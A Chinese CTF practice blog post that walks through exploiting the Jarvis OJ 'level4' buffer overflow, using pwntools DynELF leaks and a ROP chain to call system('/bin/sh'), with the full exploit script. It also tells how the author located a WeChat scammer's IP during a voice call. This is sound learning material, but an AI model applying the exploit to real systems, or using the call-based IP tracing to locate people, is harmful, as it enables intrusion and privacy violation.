pwn 练习笔记 暑假第八天 DynELF模块

本文介绍如何使用DynELF模块绕过NX保护,实现远程代码执行。通过构造特定payload,利用read和system函数,成功将'/bin/sh'保存至.bss段并执行。此外,还分享了一次社工经历,展示了如何定位微信诈骗者。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

继续昨天的未解之谜,leve4

在第二次感受火狐崩溃带来的绝望之后,在此立誓,再也不用火狐写博客

IDA打开查看一下伪代码:

图没截全,罢啦罢啦!那vul函数就看汇编吧

可看出,我们输入的字符串与ebp距离为0x88

checksec查看,开了nx保护

ROPgadget查看,没有‘/bin/sh’

DynELF是pwntools中专门用来应对无libc情况的漏洞利用模块

详细教程:https://blog.youkuaiyun.com/u011987514/article/details/68490157

然后查看,有system(好像开了ASLR所以会变)在没有libc.so的时候,我们用DynELF模块来确定system的地址

构造leak函数:

def leak(address):
    payload1 = "A" * 140 + p32(write_plt) + p32(main) + p32(1) + p32(address) + p32(4)
    p.sendline(payload1)
    data = p.recv(4)
    log.info("%#x => %s" % (address, (data or '').encode('hex')))
    return data   

这段函数能从内存中addressdump4字节数据,函数执行结束后会返回main函数重新执行,也就是说利用这个函数,我们可以dump出整个libc

使用DynELF模块查找system函数地址:

d = DynELF(leak,elf=ELF('./level4'))
sys_addr = d.lookup('system','libc')

 

有了获取libc的方法之后,就只要将‘/bin/sh’能保存到.bss断中,就可以执行system('/bin/sh')
首先我们要有bss的地址用来将输入的'/bin/sh'保存   利用bss_addr = elf.bss()得到bss地址

构造payload1 = 填充字符+read函数+read函数的返回地址(main)+第一个参数(0)+第二个参数bss_addr+第三个参数(8)

这个payload可以将'/bin/sh'读取,保存到bss段

然后构造第三个payload = 填充字符+system函数地址+'bbbb'+binsh(bss_addr)

脚本如下:

from pwn import *

sh = remote("pwn2.jarvisoj.com",9880)
e = ELF('./level4')

bss_addr = e.bss()
write_plt = e.symbols['write']
read_plt = e.symbols['read']
vul_addr = e.symbols['vulnerable_function']

print '[+]--------------get address-------------'
def leak(address):
    payload = 'a'*140 +p32(write_plt)+p32(vul_addr)+p32(1)+p32(address)+p32(4)
    sh.send(payload)
    leak_addr = sh.recv(4)
    return leak_addr
d = DynELF(leak,elf=e)
sys_addr = d.lookup('system','libc')
print 'success'+hex(sys_addr)


print '[+]-----------send payload1------------------'
payload1 = 'a'*140 +p32(read_plt)+p32(vul_addr)+p32(0)+p32(bss_addr)+p32(8)
sh.send(payload1)
sh.send('/bin/sh\x00')
print '[+]-----------send payload2------------------'
payload2 = 'a'*140 +p32(sys_addr)+'bbbb'+p32(bss_addr)
sh.send(payload2)
sh.interactive()

-------------------------------------------------------------------------------------------------------------------------------------------------------------

今天在外力作用下,搞了一波社工,所以耽误了真正的学习计划,还是记录一下

实现了第一次顺着网线吊打微信诈骗,其实知道的信息还挺多,知道了对方的座机号,银行卡号,微信号

然后从微信入手,在夜神模拟器里面装了微信,然后下载了IP雷达

开启IP雷达之后,给对方拨打语音电话,就可以看出对方IP,再通过IP定位网站,定位到骗子的所在地。

下面是关于微信定位的几个教程,还有定位网站:

https://www.52pojie.cn/thread-634989-1-1.html

https://www.52pojie.cn/thread-626021-1-1.html

https://www.52pojie.cn/thread-638554-1-1.html

突然觉得社工还是要学的,不然被骗了还手的能力都没有,这个假期的学习目标又多了一样

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值